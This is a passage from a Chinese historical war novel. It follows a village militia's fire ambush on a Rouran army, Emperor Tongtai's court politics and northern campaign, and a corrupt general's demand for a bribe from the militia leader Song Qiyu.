九丈下面还燃着熊熊烈火的深沟。与此同时,南面指挥的察布则在砍翻了几十个乱兵后,终于组织起了几百人奋力抵抗。他一面命令士兵们将人马的尸体扔进深沟,一面驱赶着战马向谷口冲去,想通过这种方式填埋出一条道路来。 正在山崖上指挥作战的董阳紧咬牙关,大声命令寨卒们放箭杀敌。他看了看身后,焦急地对宋承康说:“我们的桐油和火药快用完了。你去传我的命令,让大家把物资集中起来,只往柔然兵密集的地方扔。告诉那些把箭射光了的兄弟,多扔些柴火下去,烧死这帮狗崽子。再要不行,山上有的是石头,叫弟兄们多投几块下去,也能砸死不少人。”宋承康应诺传令去了。董阳又叫过一个寨兵说:“你去告诉团练,现在能战斗的敌兵还有近两千人,如果能给我们补充些桐油和火药,再有一个时辰我们就能把这些柔然兵消灭干净。”团练兵答应一声刚要离开却被一个熟悉的声音叫住了:“不用去了,我都知道了。”董阳顺声一看,来人正是宋启愚。宋启愚笑着对董阳说:“光照,我给你们送烧酒来了。”董阳一时间没有反应过来,脱口而出:“这会儿,喝什么酒呀!”宋启愚拍拍他的肩膀,说道:“我说的是‘烧’酒,太公命寨子里的酒作全力准备的,不给你喝,烧他们的。”很快,四百坛烧酒送上了山崖。这下,焦炭谷内的战况更加惨烈。每个燃烧的酒坛落地就是一片火海。眼见又有两名亲兵倒下了,忽而葛丹绝望地喊道:“长生天!难道我们真的没有活路了吗?”战斗继续,柔然兵马被烧死的、砸死的、射死的、熏死的越来越多。半个时辰之后,身中两箭、自知无力回天的忽而葛丹神色有些恍惚了。他不停地念叨着:“可汗饶不了我。我不可以被俘。我不可以受辱……”他低头看了看手中的弯刀,又使劲把钢刀在衣服上蹭了蹭。他摇晃着走到地沟前,横起弯刀,向自己的脖颈用力抹了下去。鲜血喷涌,弯刀落地,这位柔然大将身子一歪,便栽进了面前的火海深沟。 酉时,天色暗了下来。山谷南面的深沟被全力突围的柔然人一点一点填埋,现在已经只剩下两丈多宽的缝隙了。察布血红着眼睛,咬着牙命令身边还能战斗的士兵跟着自己发动最后一次进攻。他抓过一匹马,飞身骑上,用刀背在马屁股上猛拍一下。战马嘶叫着冲向了谷口。就在察布即将越出焦炭谷的时候,一支雕翎迎面射来,正中他的眼窝。察布惨叫一声,一头栽倒在了他要填埋的深沟中。那些跟着他冲锋的柔然士兵,部分被杀,部分又逃回了谷内。而在焦炭谷南口外,宋启愚背好长弓,对身后的余天锡说:“回报太公,我团练军在焦炭谷全歼柔然大军,我军伤亡甚小。另外,命令席军民率领寨内防守的四哨团练军前来,帮助我们打扫战场。” 夜幕悄然降临。为了减少伤亡,宋启愚下令停止了进攻,只留少量部队把住谷口。他又派出哨队在山崖上巡逻,并命他们不时向谷内抛掷石块骚扰敌军。整整一夜,山谷中持续传出哭喊声、呼救声、惨叫声还有人马牲畜临死前发出的悲鸣声,声闻数里。 第二天清晨,宋启愚先命令董阳率部进行了一轮攻击,然后,他才带人在山谷南口铺上木排,并命令席军民率领新编部队进入山谷,清理战场。在向前推进的过程中,很多团练兵都被眼前的惨况吓傻了。他们发现除了战死的柔然人外,那些在夜里做出多种尝试而逃跑无望的柔然兵、还有大多数受重伤的人为了减少痛苦已经自杀死去,活着被俘的柔然人一共只有一百余名。 大战结束当天,宋启愚留下席军民处理善后事宜。他自己则带着四百团练兵得胜归寨。宋太公带着全寨百姓敲锣打鼓,出光裕寨五里迎接他们的英雄子弟。所有在场的人都笑逐颜开、拥抱高谈、敬酒进食、欢呼雀跃,道路两侧鞭炮声、锣鼓声、颂扬声此起彼伏。在众人的簇拥下,太公拉着宋启愚的手,昂首阔步走在回归光裕的大道上。他的表情无比骄傲,他的内心分外自豪。 在路上,宋启愚对太公说:“虽然我们歼灭了几千敌军,但柔然主力仍在。且我们这一打,柔然也会重视和仇恨我们,并有可能调集军队进攻我寨。孙儿记得您曾说过雁门关镇守韩通曾给您做过亲兵。孙儿想请您给他写一封书信,告诉他应县和山阴县一带的敌我态势,请他出兵收复这两座县城。这样既能够让韩大人为朝廷立功,又可以吸引柔然人的注意力。即使他打不下城池,也能缓解大同守军的压力。老人家,您看可使得?”太公用欣慰的眼神看着孙儿,满意地点着头说:“还是孙儿考虑的周全。我今天就修书韩通,请他出兵御敌。”他聚拢眼神又向南方凝望了片刻说:“真希望,朝廷的大军能早点到来。” 第四回1 御驾北征 大周新皇石磊登基伊始,便改元同泰。他用王克明为宰相,刘睿为枢密使。他又大赦天下,整备军队,广开言路,劝课农桑,意欲成为一代圣君。 然而,因为有西羌、柔然和北燕同时入侵,打乱了他的施政计划;又由于有张文辉等一批失去职位的老臣对新朝心怀不满,所以,在权衡利弊后,同泰帝决定先安抚旧臣,再平息外患。中秋节前,同泰帝首先下召嘉奖上柱国郑黎明、柱国将军武海鹏等一干年过花甲的镇军老将。他还亲自到张文辉府上探望了这位去职宰相。中秋节当天,同泰帝在兴庆殿摆下酒席,宴请所有在京的四品以上官员。席间,同泰帝表现得谦卑有礼、平易近人,跟老臣们相处也能够推心置腹、谈笑风生。宴后,同泰帝还给众大臣颁赐了丰厚的赏物。结果,本来就跟从同泰帝的臣僚对新皇更加敬服,而原先对朝廷有怨气的官员也对新皇刮目相看、渐生好感。 次日下朝后,同泰帝特旨大学士张文辉、镇东将军陈松昌、殿前军都指挥使赵义廷、侍卫军都指挥使周亮到御花园赏桂品茶。 当四人跟着小太监转过假山走向千秋榭时,但见榭前一汪碧水,波光浮动,榭后四株丹桂,轻气满园。只听皇帝在亭榭里说道:“朕在做皇子时,你们就是伺候朕的近侍,也跟着朕办过不少差事。如今,朕要派尔等监军地方,为国报效。朕特赐尔等姓白,从今往后,你叫白燕,你叫白晋,你叫白雍,你叫白汉,你叫白川。尔等到了地方要勤勉办差,不可徇私枉法,不可专断胡为,否则,国法无情,几尺白绫就是你们的归宿。”几个太监感激得涕泪横流,以头杵地。领头的白燕一边拭泪一边说:“能伺候主子是奴才们几辈子修来的福气。奴才们奉旨外放自当竭尽忠心,不敢让主子劳心劳神,更不敢有违王法。只是奴才们去后日日不见主子,心中着实惦念,奴才们是真舍不得主子呀!”同泰帝听后,说道:“好了,好了,朕知道你们的忠心。你们先下去。过后,朕会有恩旨给你们。”五个太监磕头谢恩后,从榭里退了出去。四大臣来到千秋榭前,跪倒向榭内施礼。同泰帝降阶相迎,并拉起张文辉说:“老相国,快平身。咱们进榭尝尝刚烹好的桂花茶。”四人起来后才发现跟着皇帝出榭的还有两位大臣。左边站立者头戴乌纱帽,身穿紫色团领袍,腰束玉带。此人白面阔口,颌下短须,两眼炯炯有神,只是在其右眉上方长有一颗大大的黑痣,破坏了面相,显得有些难看。这人正是宰相王克明。右边站立的人紫袍犀带,方面大耳,脸色微黄,黑须稀疏,乃是枢密使刘睿。四人向王、刘二人拱手作揖算是行礼后,簇拥着皇帝进了千秋榭。 同泰帝坐定后,先让张文辉和陈松昌落座,又命赵义廷和周亮站立一旁,而王克明与刘睿则侍立在皇帝两侧。同泰帝先对张文辉说:“老相国六十有五了吧?”张文辉赶紧欠身答道:“是。圣上还记得微臣年齿,臣不胜惶恐。”同泰帝接着说:“先帝在日常对朕说,张相遇事沉着、有大策略,可以国事相托。如今,朕初登大宝,还望张相能多多为国出力。”张文辉嘴上应承着,其实对罢相任闲职多少还有些耿耿于怀。同泰帝叫过王克明,让他给张文辉行了个礼,又说道:“老相国,朕二十一岁被立为太子,先皇指派王克明任太子府詹士,十三年来他随朕查办鄂州、永州,赈济山东灾区,平定安戎军叛乱,接待外藩使节,出任户部右侍郎和吏部尚书,立下了不少功勋。朕任他为宰相确实有爱重之心,有新朝新气象之意。但王克明在任相之前就多次说过要跟张相学习,善用国家公器,勤勉理政。他是你取中的进士,算是你的门生。希望老相国能与之尽弃前嫌,共同辅佐朕,这才是国家之福。”张文辉毕竟是做过多年宰相的人,对朝廷有着深厚的感情,见皇帝对自己如此礼遇,身为臣子的还有什么不能释怀的呢。他跪倒在地,流着泪说道:“臣糊涂呀!陛下的胸襟气魄远非微臣所能想象。先前臣对新朝确实稍有微词,但臣对陛下的忠心天日可见。陛下不以臣卑微,亲到鄙宅探望微臣,又在大内招待臣等,今又对臣倾心顾念,古时刘先主三顾孔明也不过如此,臣虽肝脑涂地也难报圣上大恩。臣在此发誓,但凡陛下所差,臣愿为驱驰。”同泰帝命王克明把张文辉搀起来,重新归座,让其品茶压惊。然后,他又转向陈松昌说:“卿家二十岁投军,因抗击西羌和高昌屡立战功受到先皇提拔,剿灭江南盗匪升迁副将,出镇益州晋升上将,近三十年中打了大小数百仗,为国家立下了不世的功勋。今天,朕特命开设大都督府,加封卿为大都督,掌管天下兵马提调。”其实啊,历朝历代都很少设立大都督府,而且大都督通常就是个虚职,没有什么实权,但从名义上来说,大都督的地位非常崇高,甚至超过宰相。陈松昌被这突如其来的天大恩赏砸得如堕青云。他激动地半天没能说出话来。刘睿上前捅了捅他。陈松昌如梦方醒,满脸热泪地跪伏在同泰帝跟前,口称:“圣上,臣何德何能敢受陛下如此恩遇。先皇在日常说臣志大才疏,要臣多读圣书。如今想来,臣确实浅薄,又怎敢担此重任呢。”同泰帝笑了笑说:“朕虽不如先皇睿智英明,但朕也绝不是庸碌之主,遇事专断、逢战果决的本事朕不会输给任何帝王。朕既然封赏了你,就是要你为国尽忠、为朕出力,你可愿意?”陈松昌磕了几个头,郑容说道:“陛下鸿恩天高地厚,臣定当鞠躬尽瘁,死而后已。”同泰帝让陈松昌平身坐下,又叫宫女斟茶伺候。 少顷,同泰帝对众大臣说:“前十余日,幽州、晋阳、雍州等地纷纷向朝廷告急,说北燕、柔然和西羌联合出兵,欲乘朕初登大宝夺我大周土地。朕为此夜不能寐。众卿可有对策相教。”陈松昌听完,起身离座,对着皇帝一躬到地说:“陛下,臣愿提一支大军北面御敌,解君父之忧。”旁边站着的殿前军都指挥使赵义廷和侍卫军都指挥使周亮也表示愿意领兵出征。同泰帝沉吟了片刻,对众人说:“朕在做太子时,曾经主政兵部和工部,也见过一些阵仗。据朕所知,北燕自世宗死后内争不断,近十年里换过三次皇帝。他们没有力量大举南下,只不过想乘此机会占些便宜罢了。况且,他们对西面的柔然也不是那么放心,不会倾尽全力。而西羌虽然土地广袤,但人烟稀少、产出微薄。他们历次来犯也都只能派出两三万骑兵,对我们的威胁是有限的。而我大周西北的雍、绥、延等地城高池深,防守严密,足可挫败西羌进攻。可是,柔然就不同了。近十年来,他们南下的次数越来越多,规模也越来越大。据兵部奏报,柔然可汗已经吞并了周边的许多部落,现在他们兵强马壮、野心膨胀。他们南侵对我大周的威胁是最大的。”在场的几位大臣没有想到,这位刚刚登基的皇帝对国家形势能有这么高的见地。他们开始由衷地钦佩这位新皇。同泰帝接着说道:“鉴于情况紧急,朕任命张文辉为河北路行军总管加‘使相’衔,任命周亮为副总管,率领三万大军前往幽州、蓟州,同时节制调动河北、山东兵马,抗击北燕进攻。”张文辉对能够获得“使相”这样的荣誉头衔非常满意。他立即跪伏在地,和周亮一道领受了皇命。同泰帝又看着陈松昌说:“陈爱卿素来熟悉西北军务。朕命你出任长安路和雍绥路行军总管,统兵五万前往雍州抵抗西羌,并防御柔然。”陈松昌也跪倒接受了命令。“至于北方的柔然……”同泰帝朗声说道:“朕当御驾亲征。” 刚刚还心悦诚服的几位大臣当听到“御驾亲征”四个字时,一下子炸了锅。他们纷纷跪倒,请求皇帝留在汴京,另派能臣出征柔然。王克明说:“圣上是国家的根本,不可轻出。况且,陛下刚刚继位,民心还不稳定,若陛下在这个时候长期在外,恐对国家不利。”刘睿也说:“微臣虽愚钝,但情愿请旨北征柔然,请陛下留在京城,以策万全。”其他大臣也不断进言,希望打消皇帝亲征的念头。同泰帝微笑着对臣僚们说:“尔等不必再劝,朕不是个冒失轻佻的人。既然朕做出了这样的决断,当然要做完全的准备。目前,柔然虽军力强大,但还远远不能跟我大周一较高下。朕现在亲征,就是要‘大石拍卵’,一举奠定北方二十年的安定局面。同时,朕还要扬我皇威,使天下归心。明日朝会,朕会正式颁布召旨,众卿应遵照执行。也许,还会有其他大臣劝朕留京,但朕仍会亲征北方。希望明日,卿等与朕一心,并为朕谋划,共克时艰,兴我大周……” 果不其然,在次日的朝会上,多数大臣反对皇帝亲征。当同泰帝走下龙座试图安抚群臣时,御史中丞关知信竟不顾礼仪,滔滔不绝地驳斥劝阻,甚至把唾沫星子都溅到了皇帝的脸上。直到王克明、张文辉厉声指责他君前失仪、冒犯天威,关知信才跪倒请罪。同泰帝当即宣布退朝,来日再议。 同泰帝阴沉着脸出了宣德殿,周围伺候的太监宫女紧张得连大气都不敢出。坐上銮舆后,同泰帝自释地一笑,自言自语道:“这些文人呀,忠心倒是忠心,就是迂腐了些。”随即,他传令说:“白晨,摆驾到学宫去,朕要看看皇子们有没有用功读书。另外,下旨给关知信,让他兼任学宫侍讲。” 在养居殿用过了午膳,又在媛妃处小憩之后,同泰帝觉得神清气爽。他舒展了一下胳膊,伸手在媛妃白嫩的脸蛋上轻轻拧了一把,吩咐白晨摆驾政事堂。见媛妃拉着自己的衣角恋恋不舍地撒娇,同泰帝觉得甚是可爱,便说道:“朕先去跟宰执们商量些政事,晚些时候还到你这儿来。”媛妃这才飘然万福,轻轻答了声是,抿嘴笑着送皇帝出殿。 宰相王克明、副宰相赵松寿正在政事堂誊录各种奏报,见皇帝到来,赶忙离开书案,参拜圣驾。同泰帝走到正座坐下,叫他们平身,开始问政。王克明先递上厚厚的奏本说道:“这是大同镇将派人突围送来的加急文书。柔然近十万大军现已包围大同,请求朝廷速派援兵,抗击柔然。还有这份是雁门关守将呈送的报急文书。”同泰帝接过奏本,花了好半天时间,才把折子详详细细地看了一遍。他脸色凝重地说:“战事已经很紧急了。明日朝会必须把出征事宜全都定下来,半月之内朝廷的大军要整装出发。立即传旨给刘睿和兵部,让他们分派将领和部队,准备辎重物资;传旨户部调拨钱粮;再传旨工部,让他们火速调配一应器械。”王克明答应一声,回案拟旨。赵松寿又向皇帝递上奏本说:“这是张文辉递交的辞任山陵使的奏折,附有先帝陵寝各项总目。”同泰帝接过奏章,简单看了看说:“照准,朕已任命张文辉为河北路行军总管。以后,先帝陵寝的一切事务交由宗社大臣处理。另外,下旨给兵部再向陵区增加二百守兵,确保祖陵安全。”赵松寿答了声是,又呈上两份奏折,说道:“这是状告雍州镇守使黄清顺克扣军饷,不请皇命杀害地方官员的;还有这份是弹劾陈松骏贪赃枉法,草菅人命的折子。”同泰帝脸上的表情瞬间变换了多次。最后,他若无其事地说:“这二人都是陈大都督的亲信吧。方今国家大事全在用兵上,整个北方应保持稳定,此奏先行压下,容日后再议。”赵松寿领命后,又奉上一折说:“淮南巡抚李安国奏报,徽州、池州等五府十七县遭遇大旱,自春以来滴雨未下,减产严重,请求朝廷减免税赋,放赈救灾。”同泰帝皱了一下眉头,接过折本展开观看。他刚瞟了几页就勃然大怒道:“这个李安国欺君罔上。他以为朕坐在京师就什么都不知道。传旨刑部立即锁拿李安国,彻查他的不法行径。”见赵松寿疑惑,同泰帝补充说:“先前,朕派太监白杭监军江南。这个奴才将沿途所见密奏于朕,曾说徽州、宁州等地风调雨顺,人民生活安逸。这个李安国分明就是冒灾报赈,欲图中饱私囊。你们再看看他这个文章写得,下笔千言,空无一物,前面尽是些歌颂圣德的辞句。朕要借查处李安国,告诉天下人,做官做事要本分,不能贪赃枉法,更不能糊弄君上。还有,传旨吏部另选能官接任淮南。让礼部在下发各地的文告中写明,以后官员上的折本必须言简意赅,对写冗文无实言的官员,或罚俸或到府学重新读书或庭杖,对屡教不改者可罢官治罪。”听了皇帝严厉的训示,又想到自己也经常写一些华丽空洞的文章,赵松寿淌着冷汗诚惶诚恐地跪下,接回了折本,并口称遵命。这时,王克明恭恭敬敬地将刚刚拟好的几道圣旨呈递给同泰帝,请陛下审阅。同泰帝阅后命抚宝太监捧过印盒,在旨意上加盖了玉玺,并令白晨立即出去传达圣旨。 过了不大的工夫,其它几项军国政事也都处理完了。王克明命人给皇帝换上新茶,又摆上几碟小点心,陪着笑对皇上说:“若不是陛下才思敏捷,行事果断,臣等险些被李安国这种小人蒙蔽,陛下辨伪察奸的本领,确实非臣等可及。”赵松寿也逢迎说:“臣原已准备起草文稿减免该省钱粮,幸亏陛下睿智,才使国家税赋不受损失。”同泰帝指指案前的椅子,示意二人落座。赵松寿接着说:“刚才,陛下指示要废冗文,臣以为非常英明。很多官员上的奏折动辄万言,实际表述事情的仅有百十字,误事又误时。臣听说有些粗陋的武将,为了能写出漂亮的折子,竟以每月三百两的酬劳聘请师爷代笔,真是可笑。”同泰帝呵呵笑着说:“想不到掉个书袋这么吃香,给个知县都不换呀!朕这次就是要坏了他们的好事,还天下一个简单快捷。”赵松寿自我检讨说:“陛下,臣也该认真反思,提高效率,避免繁文缛节,以期跟上圣主的步伐。”同泰帝摆摆手说:“王相和你是朕捡拔的人,对你们的办事和为人,朕还是放心的。只要你们一心为国,勤勉办差,偶尔犯些小错,朕是会体谅你们的。” 第四回2 御驾北征 这时,王克明从袖子里轻轻抽出一份奏疏,恭恭敬敬地送到同泰帝面前说:“陛下,鉴于您要亲征,臣请陛下妥善安排皇子监国和朝廷政务。”同泰帝低头一瞧,折子上写着“奏请安排诸亲王兄弟折”。同泰帝急切地打开,认认真真地看了两遍。他抑制着内心的喜悦,不动声色地说:“爱卿对朕的赤胆忠心朕明白,但把朕的这些兄弟全都册封到岭南或川西烟瘴之地,是否太过严苛了些。尤其是已经到国开府的鲁王、齐王、荆王、陈王和晋王。他们出镇一方,手握重权。改封后,他们是否心服?天下人若有非议,朕又当如何处置?”王克明答道:“诗经上说‘普天之下莫非王土,率土之滨莫非王臣’。陛下是天下之主,决不能允许藩镇势力威胁皇权。以齐王为例,王府亲军就有两千人,再加上齐国属地的官军,瞬时就能征调近万军队,一旦举事便会天下震动。况且全天下这样的藩王还有十几位,陛下怎能安枕高卧呢。所以,臣请求陛下乘现在诸位王爷都在京城为先皇治丧守孝,将他们一律改封,并命令他们在五日之内必须出发到封国去,这样才能保证在陛下离京期间,朝廷上下稳定平安。”同泰帝很满意地点点头说:“王相果然是无双国士,见识高绝。那么留皇子监国,朕当选择哪位皇子呢?”王克明一躬到地说:“陛下的皇子皆人中之龙,非臣所能妄议。请皇上放心,只要是陛下裁夺的,臣都会尽心辅佐,并保我大周基业万年。”同泰帝起身轻轻拍了拍王克明,转头对赵松寿说:“若论文章学问,赵相今后还是要跟王相多多学习才是啊。传旨黄门侍郎陈标,叫他马上进宫,专门办理诸王改封出京事宜。” 五天后的傍晚,一些汴京的老百姓看到,十几支黄帐车队在军兵的押送下从南熏门出了开封城,当时,没有官员送行,从一些车里还传出了哭泣声。人们交头接耳,议论纷纷,猜测着事情的原委。次日,官府文告张贴出来,声称诸位王爷在拜谒完先帝祖陵后,将陆续返回各自封国。很快,开封城便恢复了平静,象什么都没有发生一样。 九月初十日,同泰帝做好了各项准备。他封十四岁的长子石均为豫王,留京监国;命宰相王克明辅政;殿前军都指挥使赵义廷、侍卫军都统治陈弘守卫京城;他又派出六万兵马沿黄河布防,拱卫京畿。在这之后,同泰帝才带着副相赵松寿、枢密使刘睿、殿前军都统治张洪涛、侍卫军都司令张永德、镇北将军王浩等将相,统率着十二万禁军浩浩荡荡地向北方杀去。 两天后,大军行至延津渡口。由于正值丰水期,宽阔的黄河水深流急、漩涡遍布。为了北进,同泰帝下令征集渡船。他还亲自到黄河岸边修缮渡口。晚间驻营时,同泰帝与士兵们同吃同住,并赐予了一些军人较重的恩赏。在皇帝的催督下,十几万周军仅仅用了六天,便渡过黄河,向北开进了。下船之后的同泰帝登上土丘,即兴作诗曰:“晓渡延津鼓,宵卧抱御鞍。愿提三尺剑,直为斩柔然。”这位年轻的皇帝意气风发、豪情万丈。他下定决心要在中华历史上书写光辉的一页。 在朝廷大军向北开拔时,晋阳府驿站里,却有一人天天如坐针毡。他就是一个月前从应县逃跑的县令陈昱。这个家伙既怕柔然人打来,威胁自己的人身安全;又怕朝廷得知他弃城逃跑,获得严厉制裁;他还怕有人弹劾自己道德败坏,从此身败名裂。为了能有个回旋余地,陈昱选择在晋阳暂住,一方面可以打听前线的消息,一方面又能等待其父黄门侍郎陈标为他疏通关系的结果。几天前,陈昱终于盼来了父亲的书信。陈标在信中告诉儿子,同泰皇帝已然御驾亲征,还命他出晋阳迎接圣驾。更令陈昱欣喜的是,今日一大早,他接到了父亲写来的第二封信,明确告诉他应县已经失守,城防军司马张望投降了柔然。陈昱兴奋地高叫道:“我无忧矣!所有的责任都是张望的。”他快速誊写了请罪折本,便火急火燎地坐上马车往晋阳南部奔去。 皇帝在太谷三多堂接见了陈昱。陈昱发挥出他所有的表演才能,一边哭一边添油加醋地历数张望的种种卖国行为,以及应县守军被张望收买利用的过程和大同战况如何危急等等情况。他还拿出陈标之前寄来的雁代地形图,有意无意地表露出自己的忠诚和功勋。同泰帝立即叫来副相赵松寿、枢密使刘睿等随驾大臣,听取他们的意见。在讨论了将近一个时辰之后,同泰帝做出了决断。他命令大军不在晋阳停留,直接快速北上;由侍卫军都司令张永德率领两万禁军做先导部队,任陈昱为向导官,先期到达雁门关,伺机出关作战,救援大同。 在当时,中原地区的军队多以步兵为主,部队每天的行军路程只有五六十里。但这次,上有皇帝严令,下有张永德拼命,中间又加上一个一心想在圣上面前表现的陈昱,结果,这支先导部队仅用了七天时间,就赶到了雁门关前线。 正在日夜盼望援军的雁门关镇守韩通非常高兴。他亲自打开关门,列队将张永德及所属禁军接进了关城。 次日卯时初刻,张永德在镇守衙门大模大样地升帐点军。在了解了雁门关的兵力、城防、粮草、器械、储备等等情况之后,他叫过韩通质问道:“韩将军你知罪吗?从账册上看,雁门关驻守的有一万五千人马,你为什么龟缩不前,任凭多地陷落,大同被围?”韩通急忙跪倒,辩解说:“末将确实有罪。但是,张将军可知道我雁门关守兵实际上只有八千人,前些年晋王节制山西,对我军不断裁撤,还克扣我军钱粮。不瞒大人说,就这八千人也已有半年没有拿到粮饷了。且雁门关位置重要,一旦有失,晋阳之前一马平川,末将怎敢分兵前出,不顾关城呢!”张永德以前也做过边关镇将,他知道各地驻军都有报虚额、喝兵血的情况,但他却没想到会如此严重。为了立威,张永德把桌子一拍喝道:“不要把责任都推到晋王头上。你难道就干净吗?你难道没有据实上报的责任吗?你手下的兵备司令是干什么吃的?来人,将兵备司令拿下,推出斩首。”四名军兵扑过来,不由分说将一名将军押了出去。韩通边磕头边说:“此事不该怪兵备司令,请大人饶恕他呀!末将此前曾十数次向朝廷奏报,请求朝廷增兵、加强关防,但都石沉大海。尤其是近两个月,末将多次行文兵部,也都没有下文。还请将军明察。”张永德厉声说:“一派胡言。当今皇上英明睿智,遇事亲力亲为,岂能被小人蒙蔽。当然,若果真是兵部渎职,本将自会向圣上禀报。现在,不但要惩治他,本将还要追究你制兵不利的罪责。”张永德喝令帐下:“拖下去,重打二十军棍。行刑完毕,仍然拖回,堂前听用。”军兵冲上来,把韩通拖了下去。少顷,一名军校手捧托盘,上面盛着兵备司令血淋淋的人头。张永德微微笑了笑,便命令军士将之传视众将验看。所有在场的人都被吓得面如土灰。受完刑的韩通被两个军校架回了大堂。他趴在地上,撑起身子,连声说着感谢将军饶恕的话。张永德叹了口气说:“我在雍州为将多年,不是不知道边关的难处。散帐后,本帅会派人把最好的伤药送到将军府上。”张永德走下堂来,又对众人说:“皇上不日就会驾临雁门,你们让我拿什么去向圣上保举你们?如果仍是现在这种局面,恐怕你们都要被砍了脑袋。”趴在地上的韩通气息微弱地说:“将军……我们可以……出兵收复山阴县和应县。”张永德一听来了精神,急忙凑过来问:“怎讲?”韩通说:“前日,光裕寨宋太公……派人送来书信,言说柔然在山阴和应县兵力空虚,约我出兵收复失地。前些时,他们……袭击了柔然大军,歼敌近四千人。由于柔然正在猛攻大同,暂无精力它顾。所以,我们可以立即出兵关外。”张永德简直不敢相信自己的耳朵:“什么光裕寨,还歼敌四千,他们可真敢吹牛呀!韩将军,才受了二十板子,就开始说胡话了!”韩通努力睁了睁眼睛,提高声音说:“末将不敢妄言。张将军不知,宋太公年轻的时候也做过雁门关镇守。光裕寨的牌匾是前朝皇帝所题。他寨子里训练有几百名寨兵……”张永德歪着脑袋,嘿嘿冷笑着说:“几百寨兵就敢上报杀了几千敌人!他们以为朝廷的赏赐是这么容易骗得的吗?不过,光裕寨的名字我倒好像听人说起过。他们杀死百十个柔然兵还是有可能的。等本将打了大胜仗,会给他们请个小功,也好让天下人服气。”张永德转身回到大堂正座,随命令前哨校尉多派探子向北侦查敌情。 快到十月中旬时,张永德终于摸清楚了应县、山阴一带的情况。加之此前一天,皇帝御驾已经抵达了三十里外的代州城。张永德随即决定,率军出关,收复失地。在上报方案被批准之后,张永德命令韩通带领五千军队在前,自己统帅两万禁军在后,直指山阴县。战争的结果毫无悬念,山阴县在两天后就回归了大周的版图。 可是,就在大周军队欢庆胜利的同时,却有败报传来。大周朝最重要的北方重镇——大同,失守了。 一时间,恐慌的阴云笼罩在了每个人的心头。 第五回1 冉冉升起的帝星 一天之内,先获捷报再收败报,同泰帝犹如置身冰火,心情起伏难平。他召来一干随驾人员,先训斥朝臣们玩忽职守、边备不力;又痛骂前线将士指挥失当、作战无方;再谴责将军们行军缓慢、贻误战机;最后,他命令刘睿等武将连夜修订作战方案,来日再议进军事宜。 第二天,皇帝升帐,专听军事汇报。枢密使刘睿先命殿前军都统治张洪涛和镇北将军王浩将一幅雁代地形图展开在地上,然后说:“陛下,虽然我军丢了大同,但张永德收复山阴后,我大周的战略态势仍然优于敌军。且张将军报告说山阴一战歼敌万余,不日还将攻克应县,待陛下率军到达,收复大同指日可待。陛下试想,我军主力十二万人尚无损失,加上滑州、晋阳等地陆续到达的地方部队,我军的总兵力在十八万人以上。而柔然南下的部队总数不过八九万,还在大同城下损失了一两万,又在山阴损失一万,那么敌军的总兵力不会超过七万人,击败他们,我军应该是有把握的。”刘睿指划着地图接着说:“陛下请看,我军前锋现在驻扎在这个位置,离应县不到三十里。柔然在应县的守兵数量据报只有两千多人,只要攻克了应县,向北到大同百里之内无险可守,若我们再能歼灭敌军两三万人,柔然必定远遁,不敢再觊觎我大周的领土。”刘睿又指着地图上的大同城说:“即使柔然残部不肯逃跑,选择坚守大同,陛下也不必担心。镇北将军王浩随军带来了威力巨大的抛石车和床子弩,足可一发击杀数人,甚至将城楼击碎,敌人守城只能是自取灭亡。”刘睿唾沫星子乱飞,继续说道:“臣等昨夜商讨后,认为,陛下可命令张永德进兵取应县。待其得手后,御驾再统大军从雁门关前出到应县以北,殿前军都统治张洪涛所部为左军,镇北将军王浩所部为右军,臣带六万禁军在中路护驾,各支地方部队负责侧翼安全,命张永德保护后方粮道。如此必能击败柔然……”几个重要将领又给刘睿的汇报做了些补充。同泰帝还叫过赵松寿问了问钱粮补给等方面的情况。最后,同泰帝拍板决定,让张永德立即进兵,收复应县。 朝廷大军到达雁门关、光复山阴县的消息早就传到了三百里外的光裕寨,人们奔走相告,欢呼雀跃。宋太公的心情也很舒畅。从本心来讲,他是想借这个机会再让宋家报效朝廷的。于是,他叫来孙儿宋启愚,让他率领三百团练军,押着百十名柔然俘虏,前往山阴县投效官军。他还让孙儿带了一封亲笔信交给韩通,请其代为引荐。 韩通自打见到宋启愚的那一刻开始,就对这个小伙子非常喜爱。他马上领着宋启愚骑马来到张永德大营。韩通让宋启愚在营门处稍候,自己先进帐拜见张司令。施礼之后,韩通满脸赔笑地对张永德说:“大帅,末将给您带来了一位旷世之才、绝世之将,现就在帐外等候。”张永德翻着白眼看了看韩通,哼了一声,问道:“什么人呀?”韩通赶忙回道:“这个人叫宋启愚,光裕寨人士,就是先前带着几百寨兵毙伤四千柔然军的团练。”张永德不屑地说:“本将之前就说过,休听他们吹牛,还几百人消灭几千人,我的侍卫军也没有这样的战力。咱们打下山阴县,也不过毙伤千把柔然兵。韩将军,你是受了他多少好处,才这样替他们说好话的?”韩通辩解说:“不,不,大人,末将从不曾收取光裕寨的金银,完全是为国惜才,特向大人举荐……”韩通好说歹说,终于把张永德磨烦了,答应见一见宋启愚。韩通马上来到营前叫宋启愚进帐。他还不停地嘱咐宋启愚,说张司令脾气大,一定要小心回话。 宋启愚进帐后,向张永德施了大礼,可张永德却没让他起来,而是转头对韩通说:“韩将军,你先回营提点部队、打点行装,准备出征。”韩通无奈,只能打了个千,听令退下了。张永德这才呵呵笑着对宋启愚说:“宋公子,起来吧。本将听说光裕寨是个大寨,百十年中物产丰饶,积累的资财车载斗量。宋太公想给你捐个好前程,本将完全可以理解,也能够帮忙。只是圣上身边有多层关节需要打通,你可知道?”宋启愚是多么聪明的人,立时看清了张永德索贿卖官的丑恶嘴脸。但为了实现太公的心愿,他装傻充楞地回答道:“当今圣上能够御驾亲征,定能成为一代雄主。在下若能为国效命,自当疆场杀敌,保家卫国。只是,在下并非要捐官,而是要凭借战功请皇上起用。”张永德冷笑了几声,讥讽道:“我说宋公子,你是大户人家出身,怎么也这么不晓事!本帅并不希图你的几两银子,只是大军出征花费巨大,朝廷拨付的钱粮时有延误,若不从你们头上开销些,让士兵们怎么打胜仗!再说,几万两银子对你来说不算什么大数。你家祖上为官多年,喝兵血赚得的利钱恐怕也不止这么多吧!”宋启愚内心已经怒不可遏了,但他还是尽量平静地答对道:“张将军,我祖上为将一向清廉自守、爱兵如子,从没有喝兵血情状。在下自幼学文习武,二十岁接掌团练,几年来训练刻苦,军纪严明,曾数次击退柔然侵扰。就在十几天前,在下还带着四百团练兵于光裕寨以北歼敌数千。”张永德俯身探头看了看眼前这个年轻人,猥琐地大笑起来:“哈、哈……哈……宋公子,我的眼泪都快笑出来了。你还没当官呢,就学会编大话搪塞上司了。你不愿出那么多银钱也行。眼看到了深秋,我的士兵缺少御寒衣物,你给我送来一万两冬装银子,本将保举你入伍当官。”宋启愚义愤填膺,对